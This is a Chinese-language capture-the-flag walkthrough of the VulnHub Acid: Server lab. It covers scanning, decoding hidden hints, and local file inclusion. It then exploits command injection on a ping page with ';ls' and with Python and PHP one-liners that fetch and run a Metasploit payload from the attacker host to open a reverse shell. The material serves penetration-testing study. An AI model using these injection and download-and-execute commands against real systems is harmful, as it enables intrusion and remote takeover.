'VulnHub Acid Server Walkthrough'

1. 查看IP地址

由于不知道靶场的登录密码,所以需要使用其他工具获取IP

这里使用Kali自带的一个工具netdiscover

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Usage: netdiscover [-i device] [-r range | -l file | -p] [-m file] [-s time] [-n node] [-c count] [-f] [-d] [-S] [-P] [-c]
-i device: your network device
-r range: scan a given range instead of auto scan. 192.168.6.0/24,/16,/8
-l file: scan the list of ranges contained into the given file
-p passive mode: do not send anything, only sniff
-m file: scan the list of known MACs and host names
-F filter: Customize pcap filter expression (default: "arp")
-s time: time to sleep between each arp request (milliseconds)
-n node: last ip octet used for scanning (from 2 to 253)
-c count: number of times to send each arp reques (for nets with packet loss)
-f enable fastmode scan, saves a lot of time, recommended for auto
-d ignore home config files for autoscan and fast mode
-S enable sleep time supression between each request (hardcore mode)
-P print results in a format suitable for parsing by another program
-N Do not print header. Only valid when -P is enabled.
-L in parsable output mode (-P), continue listening after the active scan is completed

If -r, -l or -p are not enabled, netdiscover will scan for common lan addresses.

执行

1
netdiscover -r 192.168.126.0/24

查询VMware的Nat模式下的子网

找到了靶机的IP192.168.126.161

2. 扫描靶机端口

使用Nmap扫描靶机端口

1
nmap -sS -T4 -sV -O -p- 192.168.126.161

扫描结果

扫描发现靶机开放端口为33447

访问http://192.168.126.161:33447

3. Web

网页的标题是/Challenge看起来是目录
先把地址丢到DirBuster里去跑

查看网页源代码,在末尾发现十六进制字符串<!--0x643239334c6d70775a773d3d-->,解码后发现是base64编码格式d293LmpwZw==,再经过base64解码发现是一个图片wow.jpg,尝试在主页访问图片,并没有这个图片

这时,查看DirBuster

发现标题确实是目录名
访问/Challenge,需要用邮箱和密码登录
继续访问扫描出来的目录,发现cake.php页面的标题也是目录名/Magic_Box
将目录改为/Challenge/Magic_Box,继续进行目录扫描

在扫描结果里看到了/images目录,将wow.jpg放在里面打开

使用WinHex打开图片,在末尾发现;37:61:65:65:30:66:36:64:35:38:38:65:64:39:39:30:35:65:65:33:37:66:31:36:61:37:63:36:31:30:64:34
使用BurpSuite自带的Ascii Hex进行解码得到7aee0f6d588ed9905ee37f16a7c610d4,看起来像MD5加密后的字符串
将字符串丢到MD5解密


获得63425可能是密码,不过图片这条线就到这里结束了

再回去看DirBuster扫描结果

访问/Challenge/Magic_Box/command.php

是一个可以执行ping命令的页面,输入Kali的IP地址测试一下

发现页面没有发生变化,查看页面源代码后发现结果在上方空白处

尝试命令执行注入

1
192.168.126.126;ls

存在命令执行注入,可以反弹Shell进一步渗透

3.1 另一种思路

对于cake.php页面还有另一种获取方法,From:CTF WALKTHROUGH – ACID: SERVER (VULNHUB)

/Challenge/index.php页面的源代码中,可以发现<!DOCTYPE gkg.qvpn html>

使用ROT13解密得到txt.dica,反过来是acid.txt,访问/Challenge/acid.txt

又获得一个页面protected_page.php,打开之后发现没有权限访问

再回到/Challenge/index.php页面的源代码中,可以找到js/forms.js打开发现在文件中有版权信息

使用Google搜索peredur.net form_js

第一条就是该项目在GitHub上的仓库

进去之后,发现这是一个已经很久没有更新的项目,并且在Readme里写了作者没有时间更新,希望有人接手的信息,这些信息对我们没有什么用。在commits里查看Readme的更新

Modified the README.md file中可以看到初始用户名和密码

1
2
3
Username	: test_user 
Email : test@example.com
Password : 6ZaxN2Vzm9NUJT2y

使用这组密码登录Challenge/index.php,成功登录

就是之前发现的protected_page.php
页面提示点击这里继续深入

点击之后,发现跳转到了/Challenge/include.php页面,页面自带本地包含功能,输入/etc/passwd,页面没有变化,查看源代码可以发现包含成功

可以看到acidsaman的用户ID

在源代码的最下面依然存在这一行被注释掉的十六进制字符串<!--0x5933566a4c6e4a34626e413d-->

按照之前的解密方式,解密获得cuc.rxnp,再经过ROT13解密获得php.ekac,反过来是cake.php,后续操作和第一种方法一样

4. 渗透

Challenge/Magic_Box/command.php页面的标题是Reverse Kunfu,提示反弹Shell

使用MSF反弹Shell

1
2
3
4
5
6
7
8
9
10
msf5 > use exploit/multi/script/web_delivery
msf5 exploit(multi/script/web_delivery) > set lhost 192.168.126.126
lhost => 192.168.126.126
msf5 exploit(multi/script/web_delivery) > set lport 8126
lport => 8126
msf5 exploit(multi/script/web_delivery) > set srvport 7777
srvport => 7777
msf5 exploit(multi/script/web_delivery) > set payload python/meterpreter/reverse_tcp
payload => python/meterpreter/reverse_tcp
msf5 exploit(multi/script/web_delivery) > run

PHP

1
php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.126.126:2626/qNRqp3NMPx'));"

python

1
python -c "import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.126.126:7777/aSEchhTZ');exec(r.read());"

Challenge/Magic_Box/command.php页面输入

1
;python -c "import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.126.126:7777/aSEchhTZ');exec(r.read());"

Kali中MSF获得Shell

查看id

接下来查找敏感信息,看能否提升权限

在根目录下发现一个s.bin目录,里面有一个investigate.php的文件,查看其内容

1
2
3
<?php
echo "Now you have to behave like an investigator to catch the culprit\n";
?>

查看root,acid,saman的家目录

在acid的家目录加看到一个名为.sudo_as_admin_successful大小为0的文件,提示普通用户可以切换为root用户

查找acid这个用户的文件来获取他的密码来切换账户

1
find / -user acid 2>/dev/null

第一个是hint.pcapng文件,是一个流量包
使用python搭建Server下载下来进行流量分析

1
python -m SimpleHTTPServer 12600

使用WireShark打开,是一个由6400条记录的流量包

分析TCP协议,可以发现一段明文传输的对话

1
2
3
4
5
6
7
8
heya
hello
What was the name of the Culprit???
saman and nowadays he's known by the alias of 1337hax0r
oh Fuck Great Now, we gonna Catch Him Soon :D
Yes We have to !! The mad bomber is on a rage
Ohkcya
Over and Out

找到了saman用户,以及他的别名1337hax0r,猜测这可能是他的密码

尝试切换rootsudo su

查找资料发现是ssh连接的原因,使用Kali切换

查看Flag

5. 总结

1.netdiscover使用
2.多看页面源码,注意源码长度
3.查找用户文件find / -user 2>/dev/null
4.MSF反弹Shell模块exploit/multi/script/web_delivery
5.尝试查找初始用户和初始密码

6. 参考

[1] Acid: Server

[2] CTF WALKTHROUGH – ACID: SERVER (VULNHUB)

[2] 2018-09-14-Vulnhub渗透测试实战writeup(1)

[3] Vulnhub Acid